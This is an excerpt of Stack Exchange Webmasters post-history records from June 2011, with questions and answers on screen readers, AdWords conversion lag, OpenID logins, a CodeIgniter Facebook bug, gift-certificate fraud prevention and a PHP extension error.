  <row Id="35002" PostHistoryTypeId="5" PostId="14869" RevisionGUID="ff236302-b525-4856-aad6-9152dc7861bc" CreationDate="2011-06-06T14:03:53.423" UserId="1253" Comment="added 227 characters in body" Text="[Jaws][1] is still the most popular screen reader. According to wikipedia other popular screen readers include [Window-Eyes][2] from GW Micro, [Dolphin Supernova][3] by Dolphin, [System Access][4] from Serotek, and [ZoomText Magnifier/Reader][5] from Ai Squared are prominent examples in the English-speaking market. Wikipedia does offer [a list of screen readers][6] if none of the above suit your needs.&#xD;&#xA;&#xD;&#xA;If you want to simulate what a screen reader does, take a webpage and remove the JavaScript, CSS, and images. Display the ALT attributes of any images on the page. That's what a screen reader sees. Is the page easy to use? Does it make sense? Creating a tool that grabs pages off of the Web (you can either have pre-chosen ones that you know do poorly or very well or let the user grab any page they want) and show it without the JavaScript, CSS, and images. I bet webmasters testing out their sites will be quite surprised when they see that their site makes no sense when displayed this way.&#xD;&#xA;&#xD;&#xA;A good thing you may want to point out is how ALT attributes are abused and stuffed with keywords. The side affect of this is screen readers see a bunch of unnecessary text that only confuses blind users. (And if it looks stupid to blind users then it looks stupid to search engines).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freedomscientific.com/products/fs/jaws-product-page.asp&#xD;&#xA;  [2]: http://www.gwmicro.com/Window-Eyes/&#xD;&#xA;  [3]: http://www.yourdolphin.com/productdetail.asp?id=1&#xD;&#xA;  [4]: http://www.serotek.com/softwaresolutions&#xD;&#xA;  [5]: http://www.aisquared.com/zoomtext/&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/List_of_screen_readers" />
  <row Id="35003" PostHistoryTypeId="2" PostId="14881" RevisionGUID="3bf4cde9-c65e-48cf-a1c8-57fb73cf661c" CreationDate="2011-06-06T14:50:50.077" UserId="6033" Text="In google adwords I notice that there is a delay of at least two days before conversions are reported, but the rest of the data (clicks, cost, ctr, etc) shows up almost real-time. Is there any documentation that specifies a standard for why or how long it takes for conversions to show up on the adwords interface? " />
  <row Id="35004" PostHistoryTypeId="1" PostId="14881" RevisionGUID="3bf4cde9-c65e-48cf-a1c8-57fb73cf661c" CreationDate="2011-06-06T14:50:50.077" UserId="6033" Text="Google Adwords - Conversion lag time" />
  <row Id="35005" PostHistoryTypeId="3" PostId="14881" RevisionGUID="3bf4cde9-c65e-48cf-a1c8-57fb73cf661c" CreationDate="2011-06-06T14:50:50.077" UserId="6033" Text="&lt;google-adwords&gt;" />
  <row Id="35006" PostHistoryTypeId="25" PostId="14868" RevisionGUID="fe30e93c-bb1e-477e-983d-601782c83fca" CreationDate="2011-06-06T15:13:49.947" Comment="http://twitter.com/#!/StackWebmasters/status/77755076814438400" />
  <row Id="35007" PostHistoryTypeId="2" PostId="14882" RevisionGUID="ee4c49f8-2b57-4aab-b366-b0a16516e318" CreationDate="2011-06-06T15:13:51.630" UserId="1643" Text="The click and the recorded conversion needn't happen at the same time. Google track conversions for up to 30 days after the click (http://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;answer=86282). Whilst the help text doesn't say why there's a delay I would guess that given that the two things can be separated by time they are waiting until there's a couple of days of statistics to give you. As that page says, the conversions are counted on the day the click occurs, not the conversion, so if you rerun the report later the figures for a given day may go up." />
  <row Id="35008" PostHistoryTypeId="17" PostId="14883" RevisionGUID="f17fb808-b127-45e6-b4ef-ddaa72257efe" CreationDate="2011-06-06T15:19:11.517" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/16006/what-do-i-lose-if-i-use-openid-instead-of-the-custom-login-system-i-built" Text="" />
  <row Id="35009" PostHistoryTypeId="2" PostId="14883" RevisionGUID="0b8eaff1-5e7c-4c62-8ce5-d1f213d79f98" CreationDate="2011-06-06T14:58:10.337" UserDisplayName="sameold" Text="I'm trying to make the decision whether to use OpenID or stay with a well-built custom login system. I think the appeal of OpenID is clear, in that the user doesn't have to create yet another account to log into your site. But can you help me answer the question: What do I lose if I use OpenID instead of the custom login system I built?" />
  <row Id="35010" PostHistoryTypeId="1" PostId="14883" RevisionGUID="0b8eaff1-5e7c-4c62-8ce5-d1f213d79f98" CreationDate="2011-06-06T14:58:10.337" UserDisplayName="sameold" Text="What do I lose if I use OpenID instead of the custom login system I built" />
  <row Id="35011" PostHistoryTypeId="3" PostId="14883" RevisionGUID="0b8eaff1-5e7c-4c62-8ce5-d1f213d79f98" CreationDate="2011-06-06T14:58:10.337" UserDisplayName="sameold" Text="&lt;openid&gt;&lt;login&gt;&lt;web-development&gt;" />
  <row Id="35012" PostHistoryTypeId="2" PostId="14884" RevisionGUID="ebbd6555-7ce0-4cbe-a201-96f40cd289ca" CreationDate="2011-06-06T15:27:46.797" UserId="1643" Text="I think the [StackOverflow blog][1] covers it quite well:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt; Several lesser providers (Technorati, Vidoop, Mozilla Weave) went belly-up, leaving their users stranded with no way to authenticate.&#xD;&#xA;&#xD;&#xA;&gt; Occasionally OpenID providers will have bugs or service outages — even big ones like Yahoo. Fortunately this is quite rare, but it does happen, and troubleshooting it can be a pain precisely because it’s open and decentralized, and there are three parties involved — the website, the user, and the OpenID provider.&#xD;&#xA;&#xD;&#xA;&gt; The OpenID protocol itself can be implemented in unusual or incomplete ways by different providers. This leads to challenges for us, but fortunately we have an excellent dialog with Andrew Arnott, the primary author of the open source DotNetOpenAuth library we use. We support the project financially and also try to contribute as many bugfixes as possible, so OpenID can get better for everyone.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2010/04/openid-one-year-later/" />
  <row Id="35013" PostHistoryTypeId="2" PostId="14885" RevisionGUID="6a7eea67-fd5e-442c-ae5b-2c788a241d9a" CreationDate="2011-06-06T15:31:30.137" UserId="118" Text="What good methods are there out there for avoiding fraud with electronic gift certificates (which are created and the information distributed electronically via website)?&#xD;&#xA;&#xD;&#xA;I'm looking to audit/redesign an existing system, and want to get a good overview of the parts of the system to put in place to decrease fraud." />
  <row Id="35014" PostHistoryTypeId="1" PostId="14885" RevisionGUID="6a7eea67-fd5e-442c-ae5b-2c788a241d9a" CreationDate="2011-06-06T15:31:30.137" UserId="118" Text="Online gift certificates: Systems to avoid fraud." />
  <row Id="35015" PostHistoryTypeId="3" PostId="14885" RevisionGUID="6a7eea67-fd5e-442c-ae5b-2c788a241d9a" CreationDate="2011-06-06T15:31:30.137" UserId="118" Text="&lt;security&gt;&lt;ecommerce&gt;&lt;web-security&gt;&lt;fraud-detection&gt;" />
  <row Id="35016" PostHistoryTypeId="5" PostId="14885" RevisionGUID="2bd3c0cd-aa0b-4383-8e74-9cb0f8f6b4ab" CreationDate="2011-06-06T15:40:10.240" UserId="118" Comment="added 24 characters in body" Text="What good methods are there out there for avoiding fraud with electronic gift certificates (ones which are created and the information distributed electronically via website)?&#xD;&#xA;&#xD;&#xA;I'm looking to audit/redesign an existing system, and want to get a good overview of the parts of the system that would be good to put in place to decrease fraud." />
  <row Id="35017" PostHistoryTypeId="17" PostId="14886" RevisionGUID="f871b5ce-78ac-4973-8236-b781f8020a28" CreationDate="2011-06-06T15:48:32.077" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/16004/facebook-connect-with-codeigniter-login-problems" Text="" />
  <row Id="35018" PostHistoryTypeId="2" PostId="14886" RevisionGUID="efa0e660-13d6-4e9a-87a7-43c1402ba585" CreationDate="2011-06-06T13:11:10.293" UserDisplayName="Alastair Dewar" Text="Im having a problem using Facebook Connect on my latest website. Im running it using the CodeIgniter framework and Elliot Haughin's library (http://www.haughin.com/code/facebook/).&#xD;&#xA;&#xD;&#xA;Everything is setup okay, when the user goes to login, the request is sent to Facebook okay and returns with the code (which i presume identifies the session?).&#xD;&#xA;&#xD;&#xA;However, it doesnt seem to update the library, and after doing all this still thinks that the user is not logged in. It makes me think its a bug in the library itself, but I can't see anyone else with this problem.&#xD;&#xA;&#xD;&#xA;I have tried dumping the error log from the library but it doesnt find any problems.&#xD;&#xA;&#xD;&#xA;If someone could shed any light I would be so grateful!" />
  <row Id="35019" PostHistoryTypeId="1" PostId="14886" RevisionGUID="efa0e660-13d6-4e9a-87a7-43c1402ba585" CreationDate="2011-06-06T13:11:10.293" UserDisplayName="Alastair Dewar" Text="Facebook Connect with CodeIgniter login problems" />
  <row Id="35020" PostHistoryTypeId="3" PostId="14886" RevisionGUID="efa0e660-13d6-4e9a-87a7-43c1402ba585" CreationDate="2011-06-06T13:11:10.293" UserDisplayName="Alastair Dewar" Text="&lt;facebook&gt;&lt;php&gt;" />
  <row Id="35021" PostHistoryTypeId="5" PostId="14886" RevisionGUID="72c43454-034e-4bed-8936-7052f4c628de" CreationDate="2011-06-06T15:50:48.007" UserId="1253" Comment="modified tags, minor text edits" Text="Im having a problem using Facebook Connect on my latest website. Im running it using the CodeIgniter framework and Elliot Haughin's library (http://www.haughin.com/code/facebook/).&#xD;&#xA;&#xD;&#xA;Everything is setup okay, when the user goes to login, the request is sent to Facebook okay and returns with the code (which i presume identifies the session?).&#xD;&#xA;&#xD;&#xA;However, it doesnt seem to update the library, and after doing all this still thinks that the user is not logged in. It makes me think its a bug in the library itself, but I can't see anyone else with this problem.&#xD;&#xA;&#xD;&#xA;I have tried dumping the error log from the library but it doesnt find any problems.&#xD;&#xA;&#xD;&#xA;If someone could shed any light I would be so grateful!" />
  <row Id="35022" PostHistoryTypeId="6" PostId="14886" RevisionGUID="72c43454-034e-4bed-8936-7052f4c628de" CreationDate="2011-06-06T15:50:48.007" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;php&gt;&lt;facebook&gt;&lt;codeigniter&gt;" />
  <row Id="35023" PostHistoryTypeId="2" PostId="14887" RevisionGUID="7dbab217-b429-4a7a-9de1-b5f7938ce4d3" CreationDate="2011-06-06T16:00:23.750" UserId="1643" Text="Looking at the issues on github it seems you're not the only one:&#xD;&#xA;https://github.com/elliothaughin/codeigniter-facebook/issues/12&#xD;&#xA;&#xD;&#xA;One person comments that they used this tutorial instead of Elliot Haughin's library: http://www.dannyherran.com/2011/02/facebook-php-sdk-and-codeigniter-for-basic-user-authentication/" />
  <row Id="35024" PostHistoryTypeId="5" PostId="14885" RevisionGUID="5632029b-4962-4307-9681-684bc05f0a6c" CreationDate="2011-06-06T16:13:01.210" UserId="118" Comment="added 233 characters in body; added 145 characters in body; added 166 characters in body" Text="What good methods are there out there for avoiding fraud with electronic gift certificates (ones which are created and the information distributed electronically via website)?&#xD;&#xA;&#xD;&#xA;I'm looking to audit/redesign an existing system, and want to get a good overview of the parts of the system that would be good to put in place to decrease fraud.&#xD;&#xA;&#xD;&#xA;A few parts that I can think of that I am interested in to start with:&#xD;&#xA;&#xD;&#xA;  - Rejection criteria&#xD;&#xA;  - Flagging criteria (e.g. if the date    range between purchase and use is    huge, different countries of origin,    etc) &#xD;&#xA;  - Theft indications&#xD;&#xA;  - Prevention of oracle attacks on a    gift card system (e.g. randomly    trying gift cert authentications    until one works)&#xD;&#xA;  - Data to include as part of the gift    certificate for later authentication.&#xD;&#xA;  - Authentication systems for verifying    that the gift certificates.&#xD;&#xA;  - etc" />
  <row Id="35025" PostHistoryTypeId="2" PostId="14888" RevisionGUID="eaecac64-c253-4c78-b862-59d814064b59" CreationDate="2011-06-06T16:14:30.570" UserId="1253" Text="Have each gift certificate also have a PIN number associated with it. The PIN number should not be displayed together with the gift certificate (i.e. never appear on the same page or same email). This will prevent snoopers from getting both pieces of information. They would have to intercept the webpage *and* the email to successfully steal an online gift certificate.&#xD;&#xA;&#xD;&#xA;If you really want to clamp down on fraud you can try to create your gift certificate numbers to pass algorithm checks like the [Luhn Algorithm][1]. This would prevent users from generating or entering random numbers and PINs in an attempt to brute force a gift certificate number.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Luhn_algorithm" />
  <row Id="35026" PostHistoryTypeId="2" PostId="14889" RevisionGUID="18cba367-f40b-4e82-93e7-4afbe75e19bf" CreationDate="2011-06-06T16:43:49.260" UserId="7198" Text="Some good practises to consider:&#xD;&#xA;&#xD;&#xA;###Create unique, hard to guess certificate keys&#xD;&#xA;Keys should be hard to guess even if that means that they're also harder to type. You may wish to consider [random.org](http://www.random.org/) to generate true random alphanumeric keys using their [HTTP api](http://www.random.org/clients/http/). The site seeds the pseudo-random string generation algorithms that programming languages use with atmospheric noise, which is said to generate less guessable 'random' numbers.&#xD;&#xA;&#xD;&#xA;There are other ways to generate truly random codes using [hardware random number generators.](http://en.wikipedia.org/wiki/Hardware_random_number_generator)&#xD;&#xA;&#xD;&#xA;###Secure the gift card claims process&#xD;&#xA;Do all you can to prevent brute force attacks against the forms that process your gift card codes.&#xD;&#xA;&#xD;&#xA;You don't want to give attackers an easy method to test generated keys, so limit the number of gift code claim attempts by time, IP address, and user account, and force users to be registered and logged in to attempt a claim. It's easier to block access by user account than it is by IP band.&#xD;&#xA;&#xD;&#xA;###Consider linking certificate codes to an email address or account&#xD;&#xA;When your user buys a gift card and you ask them for their friend's email address, check to see if their friend's already registered with you. If they are, link the gift code to the friend's account so that they it can only be claimed by that user.&#xD;&#xA;&#xD;&#xA;Alternatively, credit the friend's account directly rather than generating a key code and send them an email to confirm that their account's been credited (without requiring them to sign in and input a gift code). It's hard to crack gift codes when they don't exist.&#xD;&#xA;&#xD;&#xA;###Consider expiring gift cards after a fixed period&#xD;&#xA;Flickr does this with their gift accounts; if the gifted account code is not used within 24 months, the gift amount is credited back to the purchaser. It prevents hundreds of dormant codes lying around on the system that could get matched against a guessed code.&#xD;&#xA;&#xD;&#xA;###Use an activation process for physical gift certificates &#xD;&#xA;Codes will be preprinted (and masked using a foil), but they should remain inactive until after the point of sale. iTunes gift voucher cards are activated at the tills, for example, which makes them far less attractive to shoplifters.&#xD;&#xA;&#xD;&#xA;###Secure the email delivery system&#xD;&#xA;Send transactional email containing voucher codes through mailservers that only you use, and only you can access. Consider deleting all copies of outgoing mail that may be stored on that server by default.&#xD;&#xA;&#xD;&#xA;###Track claimed codes and render them unusable&#xD;&#xA;Naturally, track claimed codes and mark them as so to ensure they're not reused.&#xD;&#xA;&#xD;&#xA;###Lock down your servers, then create and follow a security policy&#xD;&#xA;Use good passwords, patch your server software, issue and claim codes only over HTTPS, and write and adhere to a sensible security policy. Making your gift card system bulletproof is a waste of time if the systems it depends on are vulnerable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35027" PostHistoryTypeId="2" PostId="14890" RevisionGUID="5295dbe9-e161-4134-9aee-64b161dadf59" CreationDate="2011-06-06T16:51:05.700" UserId="8071" Text="I would second Beanstalk which provides both Subversion and Git services.&#xD;&#xA;&#xD;&#xA;If you choose Subversion, you might find the [Pragmatic programmers guide][2] very helpful before moving onto the more exhaustive (&amp; free) online [Version control with Subversion][3]. This was how I learned.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [2]: http://pragprog.com/titles/pg_svn/pragmatic-guide-to-subversion&#xD;&#xA;  [3]: http://svnbook.red-bean.com/" />
  <row Id="35028" PostHistoryTypeId="5" PostId="14889" RevisionGUID="9aa96717-012d-42bd-be65-903933e724df" CreationDate="2011-06-06T16:54:31.940" UserId="7198" Comment="added 261 characters in body" Text="Some good practises to consider:&#xD;&#xA;&#xD;&#xA;###Create unique, hard to guess certificate keys&#xD;&#xA;Keys should be hard to guess even if that means that they're also harder to type. You may wish to consider [random.org](http://www.random.org/) to generate true random alphanumeric keys using their [HTTP api](http://www.random.org/clients/http/). The site seeds the pseudo-random string generation algorithms that programming languages use with atmospheric noise, which is said to generate less guessable 'random' numbers.&#xD;&#xA;&#xD;&#xA;There are other ways to generate truly random codes using [hardware random number generators.](http://en.wikipedia.org/wiki/Hardware_random_number_generator)&#xD;&#xA;&#xD;&#xA;###Secure the gift card claims process&#xD;&#xA;Do all you can to prevent brute force attacks against the forms that process your gift card codes.&#xD;&#xA;&#xD;&#xA;You don't want to give attackers an easy method to test generated keys, so limit the number of gift code claim attempts by time, IP address, and user account, and force users to be registered and logged in to attempt a claim. It's easier to block access by user account than it is by IP band.&#xD;&#xA;&#xD;&#xA;###Consider linking certificate codes to an email address or account&#xD;&#xA;When your user buys a gift card and you ask them for their friend's email address, check to see if their friend's already registered with you. If they are, link the gift code to the friend's account so that they it can only be claimed by that user.&#xD;&#xA;&#xD;&#xA;Alternatively, credit the friend's account directly rather than generating a key code and send them an email to confirm that their account's been credited (without requiring them to sign in and input a gift code). It's hard to crack gift codes when they don't exist. If the friend doesn't have an account, invite them to sign up with a registration link that pre-fills their email address, then credit their account with the gift amount when they've completed sign up. Again, the idea is to remove the dependence on gift codes.&#xD;&#xA;&#xD;&#xA;###Consider expiring gift cards after a fixed period&#xD;&#xA;Flickr does this with their gift accounts; if the gifted account code is not used within 24 months, the gift amount is credited back to the purchaser. It prevents hundreds of dormant codes lying around on the system that could get matched against a guessed code.&#xD;&#xA;&#xD;&#xA;###Use an activation process for physical gift certificates &#xD;&#xA;Codes will be preprinted (and masked using a foil), but they should remain inactive until after the point of sale. iTunes gift voucher cards are activated at the tills, for example, which makes them far less attractive to shoplifters.&#xD;&#xA;&#xD;&#xA;###Secure the email delivery system&#xD;&#xA;Send transactional email containing voucher codes through mailservers that only you use, and only you can access. Consider deleting all copies of outgoing mail that may be stored on that server by default.&#xD;&#xA;&#xD;&#xA;###Track claimed codes and render them unusable&#xD;&#xA;Naturally, track claimed codes and mark them as so to ensure they're not reused.&#xD;&#xA;&#xD;&#xA;###Lock down your servers, then create and follow a security policy&#xD;&#xA;Use good passwords, patch your server software, issue and claim codes only over HTTPS, and write and adhere to a sensible security policy. Making your gift card system bulletproof is a waste of time if the systems it depends on are vulnerable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35029" PostHistoryTypeId="5" PostId="14885" RevisionGUID="514fd513-b491-4c67-afb0-51b04c6ecd80" CreationDate="2011-06-06T17:44:24.020" UserId="118" Comment="added 139 characters in body" Text="What good methods are there out there for avoiding fraud with electronic gift certificates (ones which are created and the information distributed electronically via website)?&#xD;&#xA;&#xD;&#xA;I'm looking to audit/redesign an existing system, and want to get a good overview of the parts of the system that would be good to put in place to decrease fraud.&#xD;&#xA;&#xD;&#xA;A few parts that I can think of that I am interested in to start with:&#xD;&#xA;&#xD;&#xA;  - Rejection criteria&#xD;&#xA;  - Flagging criteria (e.g. if the date    range between purchase and use is    huge, different countries of origin,    etc) &#xD;&#xA;  - Theft indications&#xD;&#xA;  - Prevention of oracle attacks on a    gift card system (e.g. randomly    trying gift cert authentications    until one works)&#xD;&#xA;  - Data to include as part of the gift    certificate for later authentication.&#xD;&#xA;  - Authentication systems for verifying    that the gift certificates.&#xD;&#xA;  - etc&#xD;&#xA;&#xD;&#xA;I don't think it matters too much for the topic (unless there are libraries to check into?), but I'm running a site with a php backend." />
  <row Id="35030" PostHistoryTypeId="5" PostId="14888" RevisionGUID="57a1aac3-2ddd-47ae-b03f-de6cbfce3876" CreationDate="2011-06-06T17:52:10.430" UserId="1253" Comment="added 790 characters in body; added 123 characters in body; added 103 characters in body; added 120 characters in body" Text="Have each gift certificate also have a PIN number associated with it. The PIN number should not be displayed together with the gift certificate (i.e. never appear on the same page or same email). This will prevent snoopers from getting both pieces of information. They would have to intercept the webpage *and* the email to successfully steal an online gift certificate. This is commonly done with gift cards issued by brick and mortar retailers who also sell goods online.&#xD;&#xA;&#xD;&#xA;If you really want to clamp down on fraud you can try to create your gift certificate numbers to pass algorithm checks like the [Luhn Algorithm][1]. This would prevent users from generating or entering random numbers and PINs in an attempt to brute force a gift certificate number. You can find out more about the Luhn Algorithm and see [code samples][2] for creating and validating multiple languages at Wikipedia. There is also a [PHP library][3] freely available to use as well.&#xD;&#xA;&#xD;&#xA;I wouldn't see delayed usage of a gift certificate as being a potential red flag or reason to reject one as it is very normal for users to wait a while for using it. They may forget they have it or simply not want to use it when it is first presented to them. The only reason you would want to eventually cancel a gift certificate is because you want to encourage its use within a specified timeframe. If this is the case I recommend waiting at least six months before deactivating a gift certificate as doing it sooner then that leaves you wide open for a [chargeback][4] (*disclaimer, I wrote that article*).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Luhn_algorithm&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Luhn_algorithm#Verification_of_the_check_digit&#xD;&#xA;  [3]: http://www.phpclasses.org/browse/file/34590.html&#xD;&#xA;  [4]: http://www.merchant-account-services.org/article/chargeback-challenge" />
  <row Id="35031" PostHistoryTypeId="25" PostId="14885" RevisionGUID="67c9c73a-971a-4000-b7c6-3a6ad3a6c503" CreationDate="2011-06-06T18:13:49.920" Comment="http://twitter.com/#!/StackWebmasters/status/77800375364755456" />
  <row Id="35032" PostHistoryTypeId="2" PostId="14891" RevisionGUID="8d59b64e-ed0f-4a59-b7ac-e6795f29ed0d" CreationDate="2011-06-06T18:52:44.527" UserId="8058" Text="In addition to the previous poster, you may lose people who are unfamiliar with open id and don't understand the registration process or how it works. When you redirect someone off of your site and onto a different one, people naturally get a little hesitant, especially if they're entering passwords and creating accounts. Of course, this effect depends on your user base; if you are dealing with grandmas that just want to post pictures of their kittens, don't go with openid, but if your users are at least a little savvy, then OpenID is acceptable.&#xD;&#xA;&#xD;&#xA;Additionally, there's no reason you have to give up one. You can let the users choose which one they want to use. Personally, if Facebook were the only option for registration I'd leave the site, so maybe some people feel the same way about OpenID." />
  <row Id="35033" PostHistoryTypeId="2" PostId="14892" RevisionGUID="3ffc1f68-5835-4584-93da-48f2b284e726" CreationDate="2011-06-06T18:54:01.373" UserId="8073" Text="Is there a way to get reliable (as in not affected by Google's location biases in searches) information on where keywords rank in Google's SERPs?&#xD;&#xA;&#xD;&#xA;I'd prefer a free solution that does not involve a person manually typing in a bunch of keywords and counting! " />
  <row Id="35034" PostHistoryTypeId="1" PostId="14892" RevisionGUID="3ffc1f68-5835-4584-93da-48f2b284e726" CreationDate="2011-06-06T18:54:01.373" UserId="8073" Text="How to Get List of Organic Rankings in Google - SEO" />
  <row Id="35035" PostHistoryTypeId="3" PostId="14892" RevisionGUID="3ffc1f68-5835-4584-93da-48f2b284e726" CreationDate="2011-06-06T18:54:01.373" UserId="8073" Text="&lt;seo&gt;&lt;google&gt;&lt;serps&gt;&lt;google-ranking&gt;" />
  <row Id="35036" PostHistoryTypeId="5" PostId="14892" RevisionGUID="266e6049-c943-418d-9155-edd5d2d053a1" CreationDate="2011-06-06T18:58:50.337" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Tool to monitor rankings](http://webmasters.stackexchange.com/questions/3905/tool-to-monitor-rankings)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Is there a way to get reliable (as in not affected by Google's location biases in searches) information on where keywords rank in Google's SERPs?&#xD;&#xA;&#xD;&#xA;I'd prefer a free solution that does not involve a person manually typing in a bunch of keywords and counting! " />
  <row Id="35037" PostHistoryTypeId="10" PostId="14892" RevisionGUID="bda80ed8-b23d-4a20-92c2-3721847112e0" CreationDate="2011-06-06T18:58:50.023" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35039" PostHistoryTypeId="25" PostId="14883" RevisionGUID="23eed57b-5dd5-4682-9a89-13cb11090740" CreationDate="2011-06-06T21:13:50.957" Comment="http://twitter.com/#!/StackWebmasters/status/77845677048201216" />
  <row Id="35040" PostHistoryTypeId="2" PostId="14894" RevisionGUID="6bc6169f-315f-4528-8cbd-6b41cb9df721" CreationDate="2011-06-06T21:29:24.003" UserId="8074" Text="So I was developing my PHP application, right? And then all of a sudden, my sessions wont work anymore! So I checked my error log, and here is what it told me (a few times)&#xD;&#xA;&#xD;&#xA;&gt; PHP Startup: Unable to load dynamic&#xD;&#xA;&gt; library&#xD;&#xA;&gt; '/usr/local/lib/php/extensions/no-debug-non-zts-20060613/imagick.so'&#xD;&#xA;&gt; - /usr/local/lib/php/extensions/no-debug-non-zts-20060613/imagick.so:&#xD;&#xA;&gt; cannot open shared object file: No&#xD;&#xA;&gt; such file or directory in Unknown&#xD;&#xA;&#xD;&#xA;Whats going on? I have a regular webhost with access to cPanel. This just happend all of a sudden, and I have no clue of what to do. Help appreciated. :)" />
  <row Id="35041" PostHistoryTypeId="1" PostId="14894" RevisionGUID="6bc6169f-315f-4528-8cbd-6b41cb9df721" CreationDate="2011-06-06T21:29:24.003" UserId="8074" Text="Sessions suddenly not working in PHP, and error log contains a lot of junk now" />
  <row Id="35042" PostHistoryTypeId="3" PostId="14894" RevisionGUID="6bc6169f-315f-4528-8cbd-6b41cb9df721" CreationDate="2011-06-06T21:29:24.003" UserId="8074" Text="&lt;php&gt;&lt;error&gt;&lt;session&gt;" />
  <row Id="35043" PostHistoryTypeId="2" PostId="14895" RevisionGUID="58f06207-c6bb-4b5a-88f6-38eac60164e6" CreationDate="2011-06-06T21:57:44.853" UserId="1253" Text="Looks like the Imagemagick PHP extension is either uninstalled, corrupted, or moved to a new location. I would send a support ticket to your host with that error message attached and see what they have to say about it. They may have upgraded the PHP installation or the Imagemagick extension and not informed users that it moved.&#xD;&#xA;&#xD;&#xA;I'm unsure hwy that is affecting your sessions but it's possible that it causing the rest of the php.ini not to load and thus affecting sessions. It also may be symptomatic of a botched PHP install." />
  <row Id="35044" PostHistoryTypeId="2" PostId="14896" RevisionGUID="e1ba1b74-f0ad-4a24-aaa7-d9c04d7bc6e7" CreationDate="2011-06-06T22:06:01.727" UserId="2037" Text="I just updated a website, changing all the URLs. There is another website that has (maybe) some links to my old website. I want to generate a list of all the pages in this other website that point to my website.&#xD;&#xA;&#xD;&#xA;This use to be easy to do with google:&#xD;&#xA;&#xD;&#xA;&gt; site:othersite.com link:mysite.com&#xD;&#xA;&#xD;&#xA;but the Google/Bing/Yahoo all seem to have gotten rid of the 'link' advanced search option.&#xD;&#xA;&#xD;&#xA;So, how do I do this?&#xD;&#xA;" />
  <row Id="35045" PostHistoryTypeId="1" PostId="14896" RevisionGUID="e1ba1b74-f0ad-4a24-aaa7-d9c04d7bc6e7" CreationDate="2011-06-06T22:06:01.727" UserId="2037" Text="Find all the pages in a website that point to another site" />
  <row Id="35046" PostHistoryTypeId="3" PostId="14896" RevisionGUID="e1ba1b74-f0ad-4a24-aaa7-d9c04d7bc6e7" CreationDate="2011-06-06T22:06:01.727" UserId="2037" Text="&lt;search-engines&gt;" />
  <row Id="35047" PostHistoryTypeId="25" PostId="14894" RevisionGUID="c389324b-b591-4d1c-a11b-440d4df6eab8" CreationDate="2011-06-07T00:13:51.557" Comment="http://twitter.com/#!/StackWebmasters/status/77890978484191232" />
  <row Id="35048" PostHistoryTypeId="5" PostId="14896" RevisionGUID="f5af752a-953f-42f0-9d12-6d141f0eef1d" CreationDate="2011-06-07T00:35:07.163" UserId="2037" Comment="added 375 characters in body; added 3 characters in body" Text="I just updated a website, changing all the URLs. There is another website that has (maybe) some links to my old website. I want to generate a list of all the pages in this other website that point to my website.&#xD;&#xA;&#xD;&#xA;This use to be easy to do with google:&#xD;&#xA;&#xD;&#xA;&gt; site:othersite.com link:mysite.com&#xD;&#xA;&#xD;&#xA;but the Google/Bing/Yahoo all seem to have gotten rid of the 'link' advanced search option.&#xD;&#xA;&#xD;&#xA;More specifically, while 'site:othersite.com' works as expected, 'link:mysite.com' is simply turned into a set of keywords 'link mysite com'. So the previous query will return all the pages within othersite.com that have the words 'link' or 'mysite' on them. &#xD;&#xA;&#xD;&#xA;What I want is all the pages within othersite.com that have a hyperlink of the form href=&quot;http://*.mysite.com&quot;.&#xD;&#xA;&#xD;&#xA;So, how do I do this?&#xD;&#xA;" />
  <row Id="35049" PostHistoryTypeId="5" PostId="14896" RevisionGUID="ea688219-5c5f-4a93-9e6c-f5c6d6d6dd93" CreationDate="2011-06-07T00:51:34.403" UserId="2037" Comment="added 214 characters in body; deleted 3 characters in body; deleted 212 characters in body" Text="I just updated a website, changing all the URLs. There is another website that has (maybe) some links to my old website. I want to generate a list of all the pages in this other website that point to my website.&#xD;&#xA;&#xD;&#xA;This use to be easy to do with google:&#xD;&#xA;&#xD;&#xA;&gt; site:othersite.com link:mysite.com&#xD;&#xA;&#xD;&#xA;but the Google/Bing/Yahoo all seem to have gotten rid of the 'link' advanced search option.&#xD;&#xA;&#xD;&#xA;More specifically, while 'site:othersite.com' works as expected, 'link:mysite.com' is simply turned into a set of keywords 'link mysite com'. So the previous query will return all the pages within othersite.com that have the words 'link' or 'mysite' on them.&#xD;&#xA;&#xD;&#xA;What I want is all the pages within othersite.com that have a hyperlink of the form href=&quot;http://*.mysite.com&quot;.&#xD;&#xA;&#xD;&#xA;So, how do I do this?&#xD;&#xA;" />
  <row Id="35050" PostHistoryTypeId="5" PostId="14896" RevisionGUID="66076db1-cb3c-4c81-8f95-d461354202af" CreationDate="2011-06-07T01:09:15.757" UserId="2037" Comment="added 359 characters in body; edited body" Text="I just updated a website, changing all the URLs. There is another website that has (maybe) some links to my old website. I want to generate a list of all the pages in this other website that point to my website.&#xD;&#xA;&#xD;&#xA;This use to be easy to do with google:&#xD;&#xA;&#xD;&#xA;&gt; site:othersite.com link:mysite.com&#xD;&#xA;&#xD;&#xA;but the Google/Bing/Yahoo all seem to have gotten rid of the 'link' advanced search option.&#xD;&#xA;&#xD;&#xA;More specifically, while 'site:othersite.com' works as expected, 'link:mysite.com' is simply turned into a set of keywords 'link mysite com'. So the previous query will return all the pages within othersite.com that have the words 'link' or 'mysite' on them.&#xD;&#xA;&#xD;&#xA;What I want is all the pages within othersite.com that have a hyperlink of the form 